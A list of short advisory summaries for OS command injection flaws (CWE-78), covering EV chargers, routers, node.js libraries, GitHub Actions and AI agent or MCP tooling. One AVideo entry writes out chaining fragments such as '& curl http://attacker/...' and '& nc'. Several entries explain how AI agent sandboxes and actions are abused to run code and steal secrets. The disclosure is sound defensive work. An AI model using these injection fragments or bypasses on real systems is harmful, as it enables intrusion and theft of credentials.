CWE-78: OS Command Injection vulnerabilities

When importing connections in Compass it is possible to override some connection options that are otherwise can't be changed via connection form. In particular it is possible to provide a custom browser open command for OIDC auth flow that is usually can be set only globally via Compass settings.

Supermicro (SMC) SMASH services contain an Arbitrary code execution issue in X14DBG-DAP and X14DBI. An authorized attacker can exploit SMASH’s input capability to compromise data integrity or launch a Denial-of-Service (DoS) attack against the BMC.

Autel MaxiCharger Single firmware versions up to and including 1.03.51 contain an OS command injection vulnerability in the handling of OCPP GetDiagnostics requests. A malicious or compromised OCPP server can supply a crafted diagnostics URL that leads to arbitrary command execution on the charging station. This vulnerability has a critical severity rating with a CVSS 4.0 score of 9.5.

Autel Maxi Charger Single firmware up to version 1.03.51 contains an OS command injection vulnerability in the /test endpoint on TCP port 9002. This flaw allows unauthenticated attackers to execute arbitrary operating system commands by supplying crafted input in the URL parameter. The vulnerability is critical with a CVSS 4.0 base score of 10. No patch or official remediation has been confirmed yet.

The audit file upload handler does not sanitize filenames, allowing shell metacharacters to flow into system command execution. This input validation failure enables command injection when chained with a related vulnerability.

A filename supplied during file upload is not properly sanitized before being used in system command execution, allowing an attacker to inject shell metacharacters and achieve command injection via the audit file upload functionality.

Unvalidated input in asset filter parameters allows shell metacharacters to escape command argument handling, resulting in remote code execution as a low-privileged OS user via the Analysis REST endpoint.

A vulnerability in libssh allows a malicious username expanded through %r in ProxyCommand handling to inject shell metacharacters. This can expose environment variables and cause unintended shell behavior. The flaw has a low CVSS score of 3.9 and requires local access with low privileges and user interaction. Red Hat has issued an update for Red Hat Hardened Images RPMs to address this issue.

CVE-2026-6952 is a high-severity post-authentication OS command injection vulnerability in the Zyxel AX7501-B1 firmware. It affects the syslog component's LogServer field, allowing an authenticated administrator to execute arbitrary OS commands. The vulnerability exists in firmware versions up to 5.17(ABPC.7.2)C0. No official patch or remediation guidance has been provided yet.

Network-AI versions prior to 5.9.1 contain an OS command injection vulnerability due to improper neutralization of special shell characters in the agent sandbox's command allowlist. The allowlist matches whole command strings with wildcards but executes them via a shell, allowing attackers to append arbitrary commands. This issue is fixed in version 5.9.1 by changing execution to a non-shell spawn with strict rejection of unquoted shell metacharacters. Users should upgrade to 5.9.1 or later and avoid broad wildcard allowlist entries.

An high privileged remote attacker can exploit an authenticated OS command injection vulnerability in the system_certificates view due to improper neutralization of special elements in an OS command. This can result in a total loss of confidentiality, availability and integrity.

CVE-2026-50289 is a high-severity OS command injection vulnerability in the systeminformation library for node.js. Versions prior to 5.31.7 are affected. The vulnerability arises because the networkInterfaces() function on Linux reads and parses /etc/network/interfaces, extracting a source path token that is interpolated unquoted into a shell command executed via execSync. This allows an attacker to inject arbitrary shell commands if they can control the path value. The issue is fixed in version 5.31.7.

IBM Langflow OSS 1.0.0 through 1.10.1 Langflow could allow an authenticated user to execute arbitrary commands with elevated privileges on the system due to improper validation of user supplied input in the Python Interpreter component.

setup-php is a GitHub action to set up PHP with extensions, php.ini configuration, coverage drivers, and tools. From 2.25.0 prior to 2.37.1, shivammathur/setup-php resolves the PHP version from repository-controlled files such as .php-version, composer.lock through platform-overrides.php, and composer.json through config.platform.php, and insufficiently constrains those values before incorporating them into generated shell or PowerShell setup scripts, allowing command injection on a GitHub Actions runner when workflows such as pull_request_target check out attacker-controlled contents before invoking setup-php. This issue is fixed in version 2.37.1.

IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary script code due to improper neutralization of input during web page generation.

Agentic-Flow is an AI agent orchestration platform. Prior to 2.0.14, agentic-flow MCP server tools in src/mcp/standalone-stdio.ts, src/mcp/fastmcp/servers/claude-flow-sdk.ts, src/mcp/fastmcp/servers/stdio-full.ts, src/mcp/fastmcp/servers/http-streaming-updated.ts, src/mcp/fastmcp/servers/http-sse.ts, src/mcp/fastmcp/servers/poc-stdio.ts, src/mcp/fastmcp/tools/agent/{execute,list,parallel}.ts, src/mcp/fastmcp/tools/swarm/orchestrate.ts, and src/mcp/fastmcp/tools/hooks/pretrain.ts interpolated attacker-influenceable tool parameters such as agent, task, name, language, and agentdb directly into shell command strings passed to execSync(), allowing arbitrary OS command execution with the privileges of the MCP server user. This issue is fixed in version 2.0.14.

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

The Lenovo XClarity Integrator for Windows Admin Center plugin version 5.1.1 and below running on the WAC Gateway is vulnerable to Powershell Command Injection when establishing remote PowerShell commands.

Claude Code Action is a general-purpose GitHub action that runs Claude Code on GitHub pull requests and issues. Prior to 1.0.74, because the action checked out attacker-controlled pull request head branches, read .mcp.json from the working directory via default setting sources, and unconditionally enabled all project MCP servers via enableAllProjectMcpServers, an attacker who opened a pull request containing a malicious .mcp.json file could achieve arbitrary code execution on the GitHub Actions runner and exfiltrate secrets available to the workflow (such as API keys and tokens) when a privileged user or an automatic trigger invoked the Claude action on the pull request. This issue is fixed in version 1.0.74, which restores .claude/ and .mcp.json from the pull request base branch before the CLI runs.

AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user.